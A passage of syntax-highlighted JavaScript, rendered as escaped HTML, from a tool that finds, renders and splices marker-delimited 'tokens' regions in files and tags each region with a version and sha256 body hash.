&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  wrap&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;syntaxOf&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(syntax), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&amp;#x3C;&amp;#x3C;&amp;#x3C; tokens:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;region&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; escapeRe&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (s) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; s.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/[.*+?^${}()|[\]\\]/&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;$&amp;#x26;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; findRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, region, syntax) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; s &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; syntaxOf&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(syntax);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; text.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; openRe &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; RegExp&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`^&gt;&gt;&gt; tokens:${&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;escapeRe&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;region&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}(?:&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;s|$)`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; closeRe &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; RegExp&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`^&amp;#x3C;&amp;#x3C;&amp;#x3C; tokens:${&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;escapeRe&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;region&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;s*$`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.length; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; inner &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; unwrap&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(s, lines[i]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (inner &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; openRe.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(inner)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; RegionError&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`region &quot;${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;region&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&quot; opens twice`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; end &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.length; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; inner &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; unwrap&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(s, lines[i]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (inner &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; closeRe.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(inner)) { end &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;break&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (end &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; RegionError&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`region &quot;${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;region&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&quot; opens but never closes`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; receipt &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /\bv(\S+)\s+sha256:([0-9a-f]+)/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exec&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;unwrap&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(s, lines[start]));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    startLine: start,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    endLine: end,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    body: lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(start &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, end).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    version: receipt &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; receipt[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    hash: receipt &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; receipt[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; renderRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(region, syntax, body, version) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; trimmed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; body.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/\s+$/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    startMarker&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(syntax, region, version, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;bodyHash&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(trimmed)),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    trimmed,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    endMarker&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(syntax, region),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  ].&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Replace an existing region. Refuses to guess if there isn&apos;t one.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; spliceRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, region, syntax, body, version) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; findRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, region, syntax);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;found) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; RegionError&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`file has no tokens:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;region&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} region; run with --init first`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; text.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;splice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    found.startLine,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    found.endLine &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found.startLine &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    ...&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;renderRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(region, syntax, body, version).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// First-time insertion. `replaceFrom`/`replaceTo` name the first and last line&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// of the hand-written block the region takes over, so the old copy is swallowed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// instead of left behind to drift.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; initRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, region, syntax, body, version, anchor &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {}) {&lt;/span&gt;&lt;/span&gt;
